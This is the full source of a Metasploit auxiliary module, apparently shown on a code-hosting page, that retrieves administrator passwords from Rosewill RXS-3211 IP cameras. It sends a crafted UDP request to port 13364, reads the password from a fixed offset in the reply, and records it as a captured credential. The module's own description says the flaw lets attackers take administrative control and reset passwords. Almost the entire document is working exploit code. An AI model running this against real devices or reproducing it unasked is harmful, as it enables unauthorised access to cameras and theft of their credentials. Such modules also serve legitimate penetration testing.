Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize11super(12'Name' => 'Rosewill RXS-3211 IP Camera Password Retriever',13'Description' => %q{14This module takes advantage of a protocol design issue with the Rosewill admin15executable in order to retrieve passwords, allowing remote attackers to take16administrative control over the device. Other similar IP Cameras such as Edimax,17Hawking, Zonet, etc, are also believed to have the same flaw, but not fully tested.18The protocol design issue also allows attackers to reset passwords on the device.19},20'Author' => 'Ben Schmidt',21'License' => MSF_LICENSE22)2324register_options(25[26Opt::CHOST,27Opt::RPORT(13364),28])29end3031def run_host(ip)32#Protocol33target_mac = "\xff\xff\xff\xff\xff\xff"34cmd = "\x00" #Request35cmd << "\x06\xff\xf9" #Type3637password = nil3839begin40udp_sock = Rex::Socket::Udp.create( {41'LocalHost' => datastore['CHOST'] || nil,42'PeerHost' => ip,43'PeerPort' => datastore['RPORT'],44'Context' =>45{46'Msf' => framework,47'MsfExploit' => self48}49})5051udp_sock.put(target_mac+cmd)5253res = udp_sock.recvfrom(65535, 0.5) and res[1]5455#Parse the reply if we get a response56if res57password = parse_reply(res)58end59rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError60print_error("Connection error")61rescue ::Interrupt62raise $!63rescue ::Exception => e64print_error("Unknown error: #{e.class} #{e}")65ensure66udp_sock.close if udp_sock67end6869#Store the password if the parser returns something70if password71print_good("Password retrieved: #{password.to_s}")72report_cred(73ip: rhost,74port: rport,75service_name: 'ipcam',76user: '',77password: password,78proof: password79)80end81end8283def report_cred(opts)84service_data = {85address: opts[:ip],86port: opts[:port],87service_name: opts[:service_name],88protocol: 'tcp',89workspace_id: myworkspace_id90}9192credential_data = {93origin_type: :service,94module_fullname: fullname,95username: opts[:user],96private_data: opts[:password],97private_type: :password98}.merge(service_data)99100login_data = {101core: create_credential(credential_data),102status: Metasploit::Model::Login::Status::UNTRIED,103proof: opts[:proof]104}.merge(service_data)105106create_credential_login(login_data)107end108109def parse_reply(pkt)110@results ||= {}111112# Ignore "empty" packets113return nil if not pkt[1]114115if(pkt[1] =~ /^::ffff:/)116pkt[1] = pkt[1].sub(/^::ffff:/, '')117end118119return pkt[0][333,12] if pkt[0][6,4] == "\x01\x06\xff\xf9"120end121end122123124